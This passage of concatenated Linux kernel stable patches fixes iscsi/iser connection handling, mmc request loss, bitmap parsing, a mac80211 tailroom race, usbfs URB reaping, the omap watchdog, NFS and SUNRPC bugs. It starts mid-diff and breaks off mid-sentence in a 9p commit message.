*thread_set; + int bitmap_id; + int rx_thread_active; + struct task_struct *rx_thread; + int tx_thread_active; + struct task_struct *tx_thread; /* list_head for session connection list */ struct list_head conn_list; } ____cacheline_aligned; @@ -862,10 +867,12 @@ struct iscsit_global { /* Unique identifier used for the authentication daemon */ u32 auth_id; u32 inactive_ts; +#define ISCSIT_BITMAP_BITS 262144 /* Thread Set bitmap count */ int ts_bitmap_count; /* Thread Set bitmap pointer */ unsigned long *ts_bitmap; + spinlock_t ts_bitmap_lock; /* Used for iSCSI discovery session authentication */ struct iscsi_node_acl discovery_acl; struct iscsi_portal_group *discovery_tpg; diff --git a/drivers/target/iscsi/iscsi_target_erl0.c b/drivers/target/iscsi/iscsi_target_erl0.c index 08bd87833321..fab67eea54c0 100644 --- a/drivers/target/iscsi/iscsi_target_erl0.c +++ b/drivers/target/iscsi/iscsi_target_erl0.c @@ -866,7 +866,10 @@ void iscsit_connection_reinstatement_rcfr(struct iscsi_conn *conn) } spin_unlock_bh(&conn->state_lock); - iscsi_thread_set_force_reinstatement(conn); + if (conn->tx_thread && conn->tx_thread_active) + send_sig(SIGINT, conn->tx_thread, 1); + if (conn->rx_thread && conn->rx_thread_active) + send_sig(SIGINT, conn->rx_thread, 1); sleep: wait_for_completion(&conn->conn_wait_rcfr_comp); @@ -891,10 +894,10 @@ void iscsit_cause_connection_reinstatement(struct iscsi_conn *conn, int sleep) return; } - if (iscsi_thread_set_force_reinstatement(conn) < 0) { - spin_unlock_bh(&conn->state_lock); - return; - } + if (conn->tx_thread && conn->tx_thread_active) + send_sig(SIGINT, conn->tx_thread, 1); + if (conn->rx_thread && conn->rx_thread_active) + send_sig(SIGINT, conn->rx_thread, 1); atomic_set(&conn->connection_reinstatement, 1); if (!sleep) { diff --git a/drivers/target/iscsi/iscsi_target_login.c b/drivers/target/iscsi/iscsi_target_login.c index 0493e8b1ba8f..797b2e2acc35 100644 --- a/drivers/target/iscsi/iscsi_target_login.c +++ b/drivers/target/iscsi/iscsi_target_login.c @@ -683,7 +683,52 @@ static void iscsi_post_login_start_timers(struct iscsi_conn *conn) iscsit_start_nopin_timer(conn); } -static int iscsi_post_login_handler( +int iscsit_start_kthreads(struct iscsi_conn *conn) +{ + int ret = 0; + + spin_lock(&iscsit_global->ts_bitmap_lock); + conn->bitmap_id = bitmap_find_free_region(iscsit_global->ts_bitmap, + ISCSIT_BITMAP_BITS, get_order(1)); + spin_unlock(&iscsit_global->ts_bitmap_lock); + + if (conn->bitmap_id < 0) { + pr_err("bitmap_find_free_region() failed for" + " iscsit_start_kthreads()\n"); + return -ENOMEM; + } + + conn->tx_thread = kthread_run(iscsi_target_tx_thread, conn, + "%s", ISCSI_TX_THREAD_NAME); + if (IS_ERR(conn->tx_thread)) { + pr_err("Unable to start iscsi_target_tx_thread\n"); + ret = PTR_ERR(conn->tx_thread); + goto out_bitmap; + } + conn->tx_thread_active = true; + + conn->rx_thread = kthread_run(iscsi_target_rx_thread, conn, + "%s", ISCSI_RX_THREAD_NAME); + if (IS_ERR(conn->rx_thread)) { + pr_err("Unable to start iscsi_target_rx_thread\n"); + ret = PTR_ERR(conn->rx_thread); + goto out_tx; + } + conn->rx_thread_active = true; + + return 0; +out_tx: + kthread_stop(conn->tx_thread); + conn->tx_thread_active = false; +out_bitmap: + spin_lock(&iscsit_global->ts_bitmap_lock); + bitmap_release_region(iscsit_global->ts_bitmap, conn->bitmap_id, + get_order(1)); + spin_unlock(&iscsit_global->ts_bitmap_lock); + return ret; +} + +int iscsi_post_login_handler( struct iscsi_np *np, struct iscsi_conn *conn, u8 zero_tsih) @@ -693,7 +738,7 @@ static int iscsi_post_login_handler( struct se_session *se_sess = sess->se_sess; struct iscsi_portal_group *tpg = ISCSI_TPG_S(sess); struct se_portal_group *se_tpg = &tpg->tpg_se_tpg; - struct iscsi_thread_set *ts; + int rc; iscsit_inc_conn_usage_count(conn); @@ -708,7 +753,6 @@ static int iscsi_post_login_handler( /* * SCSI Initiator -> SCSI Target Port Mapping */ - ts = iscsi_get_thread_set(); if (!zero_tsih) { iscsi_set_session_parameters(sess->sess_ops, conn->param_list, 0); @@ -735,9 +779,11 @@ static int iscsi_post_login_handler( sess->sess_ops->InitiatorName); spin_unlock_bh(&sess->conn_lock); - iscsi_post_login_start_timers(conn); + rc = iscsit_start_kthreads(conn); + if (rc) + return rc; - iscsi_activate_thread_set(conn, ts); + iscsi_post_login_start_timers(conn); /* * Determine CPU mask to ensure connection's RX and TX kthreads * are scheduled on the same CPU. @@ -794,8 +840,11 @@ static int iscsi_post_login_handler( " iSCSI Target Portal Group: %hu\n", tpg->nsessions, tpg->tpgt); spin_unlock_bh(&se_tpg->session_lock); + rc = iscsit_start_kthreads(conn); + if (rc) + return rc; + iscsi_post_login_start_timers(conn); - iscsi_activate_thread_set(conn, ts); /* * Determine CPU mask to ensure connection's RX and TX kthreads * are scheduled on the same CPU. -- cgit v1.2.3 From 394adc1d4905b143a3f4f6a859a2253becc1101e Mon Sep 17 00:00:00 2001 From: Sagi Grimberg Date: Sun, 29 Mar 2015 15:52:04 +0300 Subject: iser-target: Fix possible deadlock in RDMA_CM connection error commit 4a579da2586bd3b79b025947ea24ede2bbfede62 upstream. Before we reach to connection established we may get an error event. In this case the core won't teardown this connection (never established it), so we take care of freeing it ourselves. Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman --- drivers/infiniband/ulp/isert/ib_isert.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/drivers/infiniband/ulp/isert/ib_isert.c b/drivers/infiniband/ulp/isert/ib_isert.c index 8019e642d2f5..4c2ed0b7d140 100644 --- a/drivers/infiniband/ulp/isert/ib_isert.c +++ b/drivers/infiniband/ulp/isert/ib_isert.c @@ -202,7 +202,7 @@ fail: static void isert_free_rx_descriptors(struct isert_conn *isert_conn) { - struct ib_device *ib_dev = isert_conn->conn_cm_id->device; + struct ib_device *ib_dev = isert_conn->conn_device->ib_device; struct iser_rx_desc *rx_desc; int i; @@ -527,14 +527,15 @@ out: static void isert_connect_release(struct isert_conn *isert_conn) { - struct ib_device *ib_dev = isert_conn->conn_cm_id->device; struct isert_device *device = isert_conn->conn_device; int cq_index; + struct ib_device *ib_dev = device->ib_device; pr_debug("Entering isert_connect_release(): >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n"); isert_free_rx_descriptors(isert_conn); - rdma_destroy_id(isert_conn->conn_cm_id); + if (isert_conn->conn_cm_id) + rdma_destroy_id(isert_conn->conn_cm_id); if (isert_conn->conn_qp) { cq_index = ((struct isert_cq_desc *) @@ -689,12 +690,15 @@ isert_disconnected_handler(struct rdma_cm_id *cma_id, return 0; } -static void +static int isert_connect_error(struct rdma_cm_id *cma_id) { struct isert_conn *isert_conn = cma_id->qp->qp_context; + isert_conn->conn_cm_id = NULL; isert_put_conn(isert_conn); + + return -1; } static int @@ -724,7 +728,7 @@ isert_cma_handler(struct rdma_cm_id *cma_id, struct rdma_cm_event *event) case RDMA_CM_EVENT_REJECTED: /* FALLTHRU */ case RDMA_CM_EVENT_UNREACHABLE: /* FALLTHRU */ case RDMA_CM_EVENT_CONNECT_ERROR: - isert_connect_error(cma_id); + ret = isert_connect_error(cma_id); break; default: pr_err("Unhandled RDMA CMA event: %d\n", event->event); -- cgit v1.2.3 From 45f29355a34aa73db8c3419168e57d5b185bf0fa Mon Sep 17 00:00:00 2001 From: Sagi Grimberg Date: Thu, 4 Jun 2015 19:49:20 +0300 Subject: iser-target: release stale iser connections commit 2f1b6b7d9a815f341b18dfd26a363f37d4d3c96a upstream. When receiving a new iser connect request we serialize the pending requests by adding the newly created iser connection to the np accept list and let the login thread process the connect request one by one (np_accept_wait). In case we received a disconnect request before the iser_conn has begun processing (still linked in np_accept_list) we should detach it from the list and clean it up and not have the login thread process a stale connection. We do it only when the connection state is not already terminating (initiator driven disconnect) as this might lead us to access np_accept_mutex after the np was released in live shutdown scenarios. Signed-off-by: Sagi Grimberg Signed-off-by: Jenny Falkovich Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman --- drivers/infiniband/ulp/isert/ib_isert.c | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/drivers/infiniband/ulp/isert/ib_isert.c b/drivers/infiniband/ulp/isert/ib_isert.c index 4c2ed0b7d140..43aa807d78bd 100644 --- a/drivers/infiniband/ulp/isert/ib_isert.c +++ b/drivers/infiniband/ulp/isert/ib_isert.c @@ -49,6 +49,8 @@ static int isert_rdma_accept(struct isert_conn *isert_conn); struct rdma_cm_id *isert_setup_id(struct isert_np *isert_np); +static void isert_release_work(struct work_struct *work); + static void isert_qp_event_callback(struct ib_event *e, void *context) { @@ -432,6 +434,7 @@ isert_connect_request(struct rdma_cm_id *cma_id, struct rdma_cm_event *event) init_completion(&isert_conn->conn_wait_comp_err); kref_init(&isert_conn->conn_kref); mutex_init(&isert_conn->conn_mutex); + INIT_WORK(&isert_conn->release_work, isert_release_work); isert_conn->conn_cm_id = cma_id; isert_conn->responder_resources = event->param.conn.responder_resources; @@ -674,6 +677,7 @@ isert_disconnected_handler(struct rdma_cm_id *cma_id, { struct isert_np *isert_np = cma_id->context; struct isert_conn *isert_conn; + bool terminating = false; if (isert_np->np_cm_id == cma_id) return isert_np_cma_handler(cma_id->context, event); @@ -681,12 +685,25 @@ isert_disconnected_handler(struct rdma_cm_id *cma_id, isert_conn = cma_id->qp->qp_context; mutex_lock(&isert_conn->conn_mutex); + terminating = (isert_conn->state == ISER_CONN_TERMINATING); isert_conn_terminate(isert_conn); mutex_unlock(&isert_conn->conn_mutex); pr_info("conn %p completing conn_wait\n", isert_conn); complete(&isert_conn->conn_wait); + if (terminating) + goto out; + + mutex_lock(&isert_np->np_accept_mutex); + if (!list_empty(&isert_conn->conn_accept_node)) { + list_del_init(&isert_conn->conn_accept_node); + isert_put_conn(isert_conn); + queue_work(isert_release_wq, &isert_conn->release_work); + } + mutex_unlock(&isert_np->np_accept_mutex); + +out: return 0; } @@ -2422,7 +2439,6 @@ static void isert_wait_conn(struct iscsi_conn *conn) wait_for_completion(&isert_conn->conn_wait_comp_err); - INIT_WORK(&isert_conn->release_work, isert_release_work); queue_work(isert_release_wq, &isert_conn->release_work); } -- cgit v1.2.3 From 21dd5b3d73c3964a0bdcebcc0f5227f38d2d85b2 Mon Sep 17 00:00:00 2001 From: Ding Wang Date: Mon, 18 May 2015 20:14:15 +0800 Subject: mmc: card: Fixup request missing in mmc_blk_issue_rw_rq commit 29535f7b797df35cc9b6b3bca635591cdd3dd2a8 upstream. The current handler of MMC_BLK_CMD_ERR in mmc_blk_issue_rw_rq function may cause new coming request permanent missing when the ongoing request (previoulsy started) complete end. The problem scenario is as follows: (1) Request A is ongoing; (2) Request B arrived, and finally mmc_blk_issue_rw_rq() is called; (3) Request A encounters the MMC_BLK_CMD_ERR error; (4) In the error handling of MMC_BLK_CMD_ERR, suppose mmc_blk_cmd_err() end request A completed and return zero. Continue the error handling, suppose mmc_blk_reset() reset device success; (5) Continue the execution, while loop completed because variable ret is zero now; (6) Finally, mmc_blk_issue_rw_rq() return without processing request B. The process related to the missing request may wait that IO request complete forever, possibly crashing the application or hanging the system. Fix this issue by starting new request when reset success. Signed-off-by: Ding Wang Fixes: 67716327eec7 ("mmc: block: add eMMC hardware reset support") Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman --- drivers/mmc/card/block.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/drivers/mmc/card/block.c b/drivers/mmc/card/block.c index 32fc557bca43..885ba4a19a6c 100644 --- a/drivers/mmc/card/block.c +++ b/drivers/mmc/card/block.c @@ -1835,9 +1835,11 @@ static int mmc_blk_issue_rw_rq(struct mmc_queue *mq, struct request *rqc) break; case MMC_BLK_CMD_ERR: ret = mmc_blk_cmd_err(md, card, brq, req, ret); - if (!mmc_blk_reset(md, card->host, type)) - break; - goto cmd_abort; + if (mmc_blk_reset(md, card->host, type)) + goto cmd_abort; + if (!ret) + goto start_new_req; + break; case MMC_BLK_RETRY: if (retry++ < 5) break; -- cgit v1.2.3 From bf95f46c3f1c3aa7f0cc026241877478487c3670 Mon Sep 17 00:00:00 2001 From: Chris Metcalf Date: Thu, 25 Jun 2015 15:02:08 -0700 Subject: __bitmap_parselist: fix bug in empty string handling commit 2528a8b8f457d7432552d0e2b6f0f4046bb702f4 upstream. bitmap_parselist("", &mask, nmaskbits) will erroneously set bit zero in the mask. The same bug is visible in cpumask_parselist() since it is layered on top of the bitmask code, e.g. if you boot with "isolcpus=", you will actually end up with cpu zero isolated. The bug was introduced in commit 4b060420a596 ("bitmap, irq: add smp_affinity_list interface to /proc/irq") when bitmap_parselist() was generalized to support userspace as well as kernelspace. Fixes: 4b060420a596 ("bitmap, irq: add smp_affinity_list interface to /proc/irq") Signed-off-by: Chris Metcalf Cc: Rasmus Villemoes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- lib/bitmap.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/lib/bitmap.c b/lib/bitmap.c index e5c4ebe586ba..c0634aa923a6 100644 --- a/lib/bitmap.c +++ b/lib/bitmap.c @@ -603,12 +603,12 @@ static int __bitmap_parselist(const char *buf, unsigned int buflen, unsigned a, b; int c, old_c, totaldigits; const char __user __force *ubuf = (const char __user __force *)buf; - int exp_digit, in_range; + int at_start, in_range; totaldigits = c = 0; bitmap_zero(maskp, nmaskbits); do { - exp_digit = 1; + at_start = 1; in_range = 0; a = b = 0; @@ -637,11 +637,10 @@ static int __bitmap_parselist(const char *buf, unsigned int buflen, break; if (c == '-') { - if (exp_digit || in_range) + if (at_start || in_range) return -EINVAL; b = 0; in_range = 1; - exp_digit = 1; continue; } @@ -651,16 +650,18 @@ static int __bitmap_parselist(const char *buf, unsigned int buflen, b = b * 10 + (c - '0'); if (!in_range) a = b; - exp_digit = 0; + at_start = 0; totaldigits++; } if (!(a <= b)) return -EINVAL; if (b >= nmaskbits) return -ERANGE; - while (a <= b) { - set_bit(a, maskp); - a++; + if (!at_start) { + while (a <= b) { + set_bit(a, maskp); + a++; + } } } while (buflen && c == ','); return 0; -- cgit v1.2.3 From 5c817fb317292d051103e738e825d8d543a51304 Mon Sep 17 00:00:00 2001 From: Michal Kazior Date: Fri, 22 May 2015 10:22:40 +0200 Subject: mac80211: prevent possible crypto tx tailroom corruption commit ab499db80fcf07c18e4053f91a619500f663e90e upstream. There was a possible race between ieee80211_reconfig() and ieee80211_delayed_tailroom_dec(). This could result in inability to transmit data if driver crashed during roaming or rekeying and subsequent skbs with insufficient tailroom appeared. This race was probably never seen in the wild because a device driver would have to crash AND recover within 0.5s which is very unlikely. I was able to prove this race exists after changing the delay to 10s locally and crashing ath10k via debugfs immediately after GTK rekeying. In case of ath10k the counter went below 0. This was harmless but other drivers which actually require tailroom (e.g. for WEP ICV or MMIC) could end up with the counter at 0 instead of >0 and introduce insufficient skb tailroom failures because mac80211 would not resize skbs appropriately anymore. Fixes: 8d1f7ecd2af5 ("mac80211: defer tailroom counter manipulation when roaming") Signed-off-by: Michal Kazior Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman --- net/mac80211/main.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/net/mac80211/main.c b/net/mac80211/main.c index 6658c5809353..dd6ca36c34c1 100644 --- a/net/mac80211/main.c +++ b/net/mac80211/main.c @@ -257,6 +257,7 @@ static void ieee80211_restart_work(struct work_struct *work) { struct ieee80211_local *local = container_of(work, struct ieee80211_local, restart_work); + struct ieee80211_sub_if_data *sdata; /* wait for scan work complete */ flush_workqueue(local->workqueue); @@ -269,6 +270,8 @@ static void ieee80211_restart_work(struct work_struct *work) mutex_unlock(&local->mtx); rtnl_lock(); + list_for_each_entry(sdata, &local->interfaces, list) + flush_delayed_work(&sdata->dec_tailroom_needed_wk); ieee80211_scan_cancel(local); ieee80211_reconfig(local); rtnl_unlock(); -- cgit v1.2.3 From e17805417b3b213935a597e64592bae2a5daa2c4 Mon Sep 17 00:00:00 2001 From: Alan Stern Date: Thu, 29 Jan 2015 11:29:13 -0500 Subject: USB: usbfs: allow URBs to be reaped after disconnection commit 3f2cee73b650921b2e214bf487b2061a1c266504 upstream. The usbfs API has a peculiar hole: Users are not allowed to reap their URBs after the device has been disconnected. There doesn't seem to be any good reason for this; it is an ad-hoc inconsistency. The patch allows users to issue the USBDEVFS_REAPURB and USBDEVFS_REAPURBNDELAY ioctls (together with their 32-bit counterparts on 64-bit systems) even after the device is gone. If no URBs are pending for a disconnected device then the ioctls will return -ENODEV rather than -EAGAIN, because obviously no new URBs will ever be able to complete. The patch also adds a new capability flag for USBDEVFS_GET_CAPABILITIES to indicate that the reap-after-disconnect feature is supported. Signed-off-by: Alan Stern Tested-by: Chris Dickens Acked-by: Hans de Goede Signed-off-by: Greg Kroah-Hartman --- drivers/usb/core/devio.c | 63 +++++++++++++++++++++++---------------- include/uapi/linux/usbdevice_fs.h | 3 +- 2 files changed, 39 insertions(+), 27 deletions(-) diff --git a/drivers/usb/core/devio.c b/drivers/usb/core/devio.c index 4c011cfb1da3..62e532fb82ad 100644 --- a/drivers/usb/core/devio.c +++ b/drivers/usb/core/devio.c @@ -1593,7 +1593,7 @@ static struct async *reap_as(struct dev_state *ps) for (;;) { __set_current_state(TASK_INTERRUPTIBLE); as = async_getcompleted(ps); - if (as) + if (as || !connected(ps)) break; if (signal_pending(current)) break; @@ -1616,7 +1616,7 @@ static int proc_reapurb(struct dev_state *ps, void __user *arg) } if (signal_pending(current)) return -EINTR; - return -EIO; + return -ENODEV; } static int proc_reapurbnonblock(struct dev_state *ps, void __user *arg) @@ -1625,10 +1625,11 @@ static int proc_reapurbnonblock(struct dev_state *ps, void __user *arg) struct async *as; as = async_getcompleted(ps); - retval = -EAGAIN; if (as) { retval = processcompl(as, (void __user * __user *)arg); free_async(as); + } else { + retval = (connected(ps) ? -EAGAIN : -ENODEV); } return retval; } @@ -1758,7 +1759,7 @@ static int proc_reapurb_compat(struct dev_state *ps, void __user *arg) } if (signal_pending(current)) return -EINTR; - return -EIO; + return -ENODEV; } static int proc_reapurbnonblock_compat(struct dev_state *ps, void __user *arg) @@ -1766,11 +1767,12 @@ static int proc_reapurbnonblock_compat(struct dev_state *ps, void __user *arg) int retval; struct async *as; - retval = -EAGAIN; as = async_getcompleted(ps); if (as) { retval = processcompl_compat(as, (void __user * __user *)arg); free_async(as); + } else { + retval = (connected(ps) ? -EAGAIN : -ENODEV); } return retval; } @@ -1941,7 +1943,8 @@ static int proc_get_capabilities(struct dev_state *ps, void __user *arg) { __u32 caps; - caps = USBDEVFS_CAP_ZERO_PACKET | USBDEVFS_CAP_NO_PACKET_SIZE_LIM; + caps = USBDEVFS_CAP_ZERO_PACKET | USBDEVFS_CAP_NO_PACKET_SIZE_LIM | + USBDEVFS_CAP_REAP_AFTER_DISCONNECT; if (!ps->dev->bus->no_stop_on_short) caps |= USBDEVFS_CAP_BULK_CONTINUATION; if (ps->dev->bus->sg_tablesize) @@ -2002,6 +2005,32 @@ static long usbdev_do_ioctl(struct file *file, unsigned int cmd, return -EPERM; usb_lock_device(dev); + + /* Reap operations are allowed even after disconnection */ + switch (cmd) { + case USBDEVFS_REAPURB: + snoop(&dev->dev, "%s: REAPURB\n", __func__); + ret = proc_reapurb(ps, p); + goto done; + + case USBDEVFS_REAPURBNDELAY: + snoop(&dev->dev, "%s: REAPURBNDELAY\n", __func__); + ret = proc_reapurbnonblock(ps, p); + goto done; + +#ifdef CONFIG_COMPAT + case USBDEVFS_REAPURB32: + snoop(&dev->dev, "%s: REAPURB32\n", __func__); + ret = proc_reapurb_compat(ps, p); + goto done; + + case USBDEVFS_REAPURBNDELAY32: + snoop(&dev->dev, "%s: REAPURBNDELAY32\n", __func__); + ret = proc_reapurbnonblock_compat(ps, p); + goto done; +#endif + } + if (!connected(ps)) { usb_unlock_device(dev); return -ENODEV; @@ -2095,16 +2124,6 @@ static long usbdev_do_ioctl(struct file *file, unsigned int cmd, inode->i_mtime = CURRENT_TIME; break; - case USBDEVFS_REAPURB32: - snoop(&dev->dev, "%s: REAPURB32\n", __func__); - ret = proc_reapurb_compat(ps, p); - break; - - case USBDEVFS_REAPURBNDELAY32: - snoop(&dev->dev, "%s: REAPURBNDELAY32\n", __func__); - ret = proc_reapurbnonblock_compat(ps, p); - break; - case USBDEVFS_IOCTL32: snoop(&dev->dev, "%s: IOCTL32\n", __func__); ret = proc_ioctl_compat(ps, ptr_to_compat(p)); @@ -2116,16 +2135,6 @@ static long usbdev_do_ioctl(struct file *file, unsigned int cmd, ret = proc_unlinkurb(ps, p); break; - case USBDEVFS_REAPURB: - snoop(&dev->dev, "%s: REAPURB\n", __func__); - ret = proc_reapurb(ps, p); - break; - - case USBDEVFS_REAPURBNDELAY: - snoop(&dev->dev, "%s: REAPURBNDELAY\n", __func__); - ret = proc_reapurbnonblock(ps, p); - break; - case USBDEVFS_DISCSIGNAL: snoop(&dev->dev, "%s: DISCSIGNAL\n", __func__); ret = proc_disconnectsignal(ps, p); @@ -2162,6 +2171,8 @@ static long usbdev_do_ioctl(struct file *file, unsigned int cmd, ret = proc_disconnect_claim(ps, p); break; } + + done: usb_unlock_device(dev); if (ret >= 0) inode->i_atime = CURRENT_TIME; diff --git a/include/uapi/linux/usbdevice_fs.h b/include/uapi/linux/usbdevice_fs.h index 0c65e4b12617..ef29266ef77a 100644 --- a/include/uapi/linux/usbdevice_fs.h +++ b/include/uapi/linux/usbdevice_fs.h @@ -125,11 +125,12 @@ struct usbdevfs_hub_portinfo { char port [127]; /* e.g. port 3 connects to device 27 */ }; -/* Device capability flags */ +/* System and bus capability flags */ #define USBDEVFS_CAP_ZERO_PACKET 0x01 #define USBDEVFS_CAP_BULK_CONTINUATION 0x02 #define USBDEVFS_CAP_NO_PACKET_SIZE_LIM 0x04 #define USBDEVFS_CAP_BULK_SCATTER_GATHER 0x08 +#define USBDEVFS_CAP_REAP_AFTER_DISCONNECT 0x10 /* USBDEVFS_DISCONNECT_CLAIM flags & struct */ -- cgit v1.2.3 From 6afa955908877c770d18eb53a00bf8113fa9dab3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Uwe=20Kleine-K=C3=B6nig?= Date: Wed, 29 Apr 2015 20:38:46 +0200 Subject: watchdog: omap: assert the counter being stopped before reprogramming MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 530c11d432727c697629ad5f9d00ee8e2864d453 upstream. The omap watchdog has the annoying behaviour that writes to most registers don't have any effect when the watchdog is already running. Quoting the AM335x reference manual: To modify the timer counter value (the WDT_WCRR register), prescaler ratio (the WDT_WCLR[4:2] PTV bit field), delay configuration value (the WDT_WDLY[31:0] DLY_VALUE bit field), or the load value (the WDT_WLDR[31:0] TIMER_LOAD bit field), the watchdog timer must be disabled by using the start/stop sequence (the WDT_WSPR register). Currently the timer is stopped in the .probe callback but still there are possibilities that yield to a situation where omap_wdt_start is entered with the timer running (e.g. when /dev/watchdog is closed without stopping and then reopened). In such a case programming the timeout silently fails! To circumvent this stop the timer before reprogramming. Assuming one of the first things the watchdog user does is setting the timeout explicitly nothing too bad should happen because this explicit setting works fine. Fixes: 7768a13c252a ("[PATCH] OMAP: Add Watchdog driver support") Signed-off-by: Uwe Kleine-König Reviewed-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck Signed-off-by: Greg Kroah-Hartman --- drivers/watchdog/omap_wdt.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/drivers/watchdog/omap_wdt.c b/drivers/watchdog/omap_wdt.c index af88ffd1068f..2b7e073f5e36 100644 --- a/drivers/watchdog/omap_wdt.c +++ b/drivers/watchdog/omap_wdt.c @@ -134,6 +134,13 @@ static int omap_wdt_start(struct watchdog_device *wdog) pm_runtime_get_sync(wdev->dev); + /* + * Make sure the watchdog is disabled. This is unfortunately required + * because writing to various registers with the watchdog running has no + * effect. + */ + omap_wdt_disable(wdev); + /* initialize prescaler */ while (__raw_readl(base + OMAP_WATCHDOG_WPS) & 0x01) cpu_relax(); -- cgit v1.2.3 From f35c364f0e14db2df30a2518c4db844b453beae9 Mon Sep 17 00:00:00 2001 From: Chuck Lever Date: Tue, 26 May 2015 11:53:52 -0400 Subject: NFS: Fix size of NFSACL SETACL operations commit d683cc49daf7c5afca8cd9654aaa1bf63cdf2ad9 upstream. When encoding the NFSACL SETACL operation, reserve just the estimated size of the ACL rather than a fixed maximum. This eliminates needless zero padding on the wire that the server ignores. Fixes: ee5dc7732bd5 ('NFS: Fix "kernel BUG at fs/nfs/nfs3xdr.c:1338!"') Signed-off-by: Chuck Lever Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman --- fs/nfs/nfs3xdr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/nfs/nfs3xdr.c b/fs/nfs/nfs3xdr.c index fa6d72131c19..4495cad189c3 100644 --- a/fs/nfs/nfs3xdr.c +++ b/fs/nfs/nfs3xdr.c @@ -1342,7 +1342,7 @@ static void nfs3_xdr_enc_setacl3args(struct rpc_rqst *req, if (args->npages != 0) xdr_write_pages(xdr, args->pages, 0, args->len); else - xdr_reserve_space(xdr, NFS_ACL_INLINE_BUFSIZE); + xdr_reserve_space(xdr, args->len); error = nfsacl_encode(xdr->buf, base, args->inode, (args->mask & NFS_ACL) ? -- cgit v1.2.3 From 68e529128b5cbb783ac5afb722fc26901753fa8c Mon Sep 17 00:00:00 2001 From: Olga Kornievskaia Date: Fri, 15 May 2015 11:45:31 -0400 Subject: fixing infinite OPEN loop in 4.0 stateid recovery commit e8d975e73e5fa05f983fbf2723120edcf68e0b38 upstream. Problem: When an operation like WRITE receives a BAD_STATEID, even though recovery code clears the RECLAIM_NOGRACE recovery flag before recovering the open state, because of clearing delegation state for the associated inode, nfs_inode_find_state_and_recover() gets called and it makes the same state with RECLAIM_NOGRACE flag again. As a results, when we restart looking over the open states, we end up in the infinite loop instead of breaking out in the next test of state flags. Solution: unset the RECLAIM_NOGRACE set because of calling of nfs_inode_find_state_and_recover() after returning from calling recover_open() function. Signed-off-by: Olga Kornievskaia Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman --- fs/nfs/nfs4state.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fs/nfs/nfs4state.c b/fs/nfs/nfs4state.c index d482b86d0e0b..cfa9163b3bb7 100644 --- a/fs/nfs/nfs4state.c +++ b/fs/nfs/nfs4state.c @@ -1452,6 +1452,8 @@ restart: } spin_unlock(&state->state_lock); nfs4_put_open_state(state); + clear_bit(NFS4CLNT_RECLAIM_NOGRACE, + &state->flags); spin_lock(&sp->so_lock); goto restart; } -- cgit v1.2.3 From 0e22b367fec937512336958053ddb3ffe1db92d3 Mon Sep 17 00:00:00 2001 From: Jeff Layton Date: Tue, 9 Jun 2015 19:43:56 -0400 Subject: nfs: increase size of EXCHANGE_ID name string buffer commit 764ad8ba8cd4c6f836fca9378f8c5121aece0842 upstream. The current buffer is much too small if you have a relatively long hostname. Bring it up to the size of the one that SETCLIENTID has. Reported-by: Michael Skralivetsky Signed-off-by: Jeff Layton Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman --- include/linux/nfs_xdr.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 54e351aa4d2e..a9e5134c2936 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -1094,7 +1094,7 @@ struct pnfs_ds_commit_info { struct pnfs_commit_bucket *buckets; }; -#define NFS4_EXCHANGE_ID_LEN (48) +#define NFS4_EXCHANGE_ID_LEN (127) struct nfs41_exchange_id_args { struct nfs_client *client; nfs4_verifier *verifier; -- cgit v1.2.3 From 13d0b6aae666e69c0156a3c6d1b6116a2e64078a Mon Sep 17 00:00:00 2001 From: Trond Myklebust Date: Mon, 1 Jun 2015 15:10:25 -0400 Subject: SUNRPC: Fix a memory leak in the backchannel code commit 88de6af24f2b48b06c514d3c3d0a8f22fafe30bd upstream. req->rq_private_buf isn't initialised when xprt_setup_backchannel calls xprt_free_allocation. Fixes: fb7a0b9addbdb ("nfs41: New backchannel helper routines") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman --- net/sunrpc/backchannel_rqst.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/sunrpc/backchannel_rqst.c b/net/sunrpc/backchannel_rqst.c index 890a29912d5a..d29c119ecd9c 100644 --- a/net/sunrpc/backchannel_rqst.c +++ b/net/sunrpc/backchannel_rqst.c @@ -60,7 +60,7 @@ static void xprt_free_allocation(struct rpc_rqst *req) dprintk("RPC: free allocations for req= %p\n", req); WARN_ON_ONCE(test_bit(RPC_BC_PA_IN_USE, &req->rq_bc_pa_state)); - xbufp = &req->rq_private_buf; + xbufp = &req->rq_rcv_buf; free_page((unsigned long)xbufp->head[0].iov_base); xbufp = &req->rq_snd_buf; free_page((unsigned long)xbufp->head[0].iov_base); -- cgit v1.2.3 From 693f66d6213c20cc83a33ef18e8ae01d78883e3d Mon Sep 17 00:00:00 2001 From: Al Viro Date: Sat, 4 Jul 2015 16:04:19 -0400 Subject: 9p: forgetting to cancel request on interrupted zero-copy RPC commit a84b69cb6e0a41e86bc593904faa6def3b957343 upstream. If we'd already sent a request and decide to abort it, we *must* issue TFLUSH properly and not just blindly reuse the tag, or we'll get seriously screwed when response eventually arrives and we confuse it for response to later request that had 